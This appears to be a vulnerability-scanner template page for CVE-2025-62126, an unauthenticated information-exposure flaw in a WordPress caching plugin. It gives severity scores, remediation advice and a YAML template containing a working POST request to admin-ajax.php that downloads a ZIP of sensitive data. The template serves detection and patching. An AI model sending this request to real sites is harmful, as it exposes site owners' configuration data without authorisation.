WordPress Varnish/Nginx Proxy Caching <= 1.8.3 - Information Exposure
CVE-2025-62126
Verified
Description
Razvan Stanga Varnish/Nginx Proxy Caching <= 1.8.3 contains an insertion of sensitive information into sent data vulnerability caused by improper handling of embedded sensitive data, letting attackers retrieve sensitive information, exploit requires crafted requests.
Severity
Medium
CVSS Score
5.3
Exploit Probability
3%
Affected Product
varnish-caching-wordpress-plugin
Published Date
March 26, 2026
Template Author
pussycat0x
CVE-2025-62126.yaml
id: CVE-2025-62126
info:
name: WordPress Varnish/Nginx Proxy Caching <= 1.8.3 - Information Exposure
author: pussycat0x
severity: medium
description: |
Razvan Stanga Varnish/Nginx Proxy Caching <= 1.8.3 contains an insertion of sensitive information into sent data vulnerability caused by improper handling of embedded sensitive data, letting attackers retrieve sensitive information, exploit requires crafted requests.
remediation: |
Update to the latest version beyond 1.8.3.
impact: |
Attackers can retrieve embedded sensitive information, potentially leading to data leakage.
reference:
- https://github.com/razvanstanga/varnish-caching-wordpress-plugin/pull/15
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/vcaching/varnishnginx-proxy-caching-183-unauthenticated-information-exposure
- https://nvd.nist.gov/vuln/detail/CVE-2025-62126
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2025-62126
epss-score: 0.03313
epss-percentile: 0.87405
cwe-id: CWE-200
metadata:
verified: true
max-request: 1
vendor: razvanstanga
product: varnish-caching-wordpress-plugin
framework: wordpress
tags: cve,cve2025,wordpress,wp,wp-plugin,vcaching,exposure
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=varnish_caching_download&option_page=varnish_caching_download&varnish_caching_varnish_version=4
matchers-condition: and
matchers:
- type: binary
part: body
binary:
- "504b0304"
- type: word
part: content_type
words:
- "application/zip"
- "application/octet-stream"
condition: or
- type: status
status:
- 200
extractors:
- type: regex
name: filename
part: header
group: 1
regex:
- 'filename="?([^";\r\n]+)'
# digest: 4a0a004730450221009591406534b5666e81aacc27a86e8988fc85b4c10519c98f40fe5430639fbcca0220033ca9a2f768206b7cc2a5a897a2ae0e704748ce1c366b980f04f2af21800df1:922c64590222798bb761d5b6d8e729505.3Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CVE ID:
cve-2025-62126
CWE ID:
cwe-200
Remediation Steps
Update to the latest version beyond 1.8.3.